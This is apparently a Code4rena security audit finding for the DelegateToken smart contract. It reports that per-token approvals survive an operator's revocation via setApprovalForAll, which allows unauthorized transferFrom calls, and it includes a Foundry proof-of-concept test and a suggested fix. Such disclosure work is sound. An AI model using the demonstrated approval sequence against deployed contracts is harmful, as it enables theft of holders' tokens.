No way to revoke Approval in DelegateToken.approve leads to un authorized calling of DelegateToken.transferFrom

mediumCode4rena

Lines of code

https://github.com/code-423n4/2023-09-delegate/blob/main/src/DelegateToken.sol#L134 https://github.com/code-423n4/2023-09-delegate/blob/main/src/DelegateToken.sol#L168 https://github.com/code-423n4/2023-09-delegate/blob/main/src/libraries/DelegateTokenStorageHelpers.sol#L149

Vulnerability details

Impact

There is no way to revoke the approval which given via DelegateToken.approve(address,delegateTokenId). They can able call the DelegateToken.transferFrom even the tokenHolder revoke the permission using the DelegateToken.setApprovalForAll

if the spender address is approved by the PT token ,we can call the DelegateToken.withdraw.

Proof of Concept

Alice is the token Holder.

Alice approves Bob via DelegateToken.setApprovalForAll(Bob,true).

Bob approves himself using DelegateToken.approve(Bob,delegateTokenId)

Alice revokes the Bob approval by calling DelegateToken.setApprovalForAll(Bob,false);

Now Bob can still calls the DelegateToken.transferFrom(Alice,to,delegateTokenId) which is subjected to call only by approved address.

The transfer will be successful.

Code details :

https://github.com/code-423n4/2023-09-delegate/blob/main/src/libraries/DelegateTokenStorageHelpers.sol#L143

solidity📋

function revertNotApprovedOrOperator(
        mapping(address account => mapping(address operator => bool enabled)) storage accountOperator,
        mapping(uint256 delegateTokenId => uint256[3] info) storage delegateTokenInfo,
        address account,
        uint256 delegateTokenId
    ) internal view {
        if (msg.sender == account || accountOperator[account][msg.sender] || msg.sender == readApproved(delegateTokenInfo, delegateTokenId)) return;
        revert Errors.NotApproved(msg.sender, delegateTokenId);
    }

Even after revoking the approval for operator using setApprovalAll this

msg.sender == readApproved(delegateTokenInfo, delegateTokenId) will be true and able to call transferFrom function.

Test function :*

solidity📋

function testFuzzingTransfer721(
        address from,
        address to,
        uint256 underlyingTokenId,
        bool expiryTypeRelative,
        uint256 time
    ) public {
        vm.assume(from != address(0));
        vm.assume(from != address(dt));

        (
            ,
            /* ExpiryType */
            uint256 expiry, /* ExpiryValue */

        ) = prepareValidExpiry(expiryTypeRelative, time);
        mockERC721.mint(address(from), 33);

        vm.startPrank(from);
        mockERC721.setApprovalForAll(address(dt), true);

        vm.stopPrank();
        vm.prank(from);
        dt.setApprovalForAll(address(dt), true);
        vm.prank(from);
        uint256 delegateId1 = dt.create(
            DelegateTokenStructs.DelegateInfo(
                from,
                IDelegateRegistry.DelegationType.ERC721,
                from,
                0,
                address(mockERC721),
                33,
                "",
                expiry
            ),
            SALT + 1
        );

        vm.prank(address(dt));
        dt.approve(address(dt), delegateId1);

        vm.prank(from);

        dt.setApprovalForAll(address(dt), false);
        address tmp = dt.getApproved(delegateId1);
        console.log(tmp);
        vm.prank(address(dt));
        dt.transferFrom(from, address(0x320), delegateId1);
    }

Tools Used

Manual Analysis

Recommended Mitigation Steps

If token Holder revokes the approval for a operator using DelegateToken.setApprovalForAll , revoke the all the approvals(DelegateToken.approve) which is done by the operator.

Assessed type

Access Control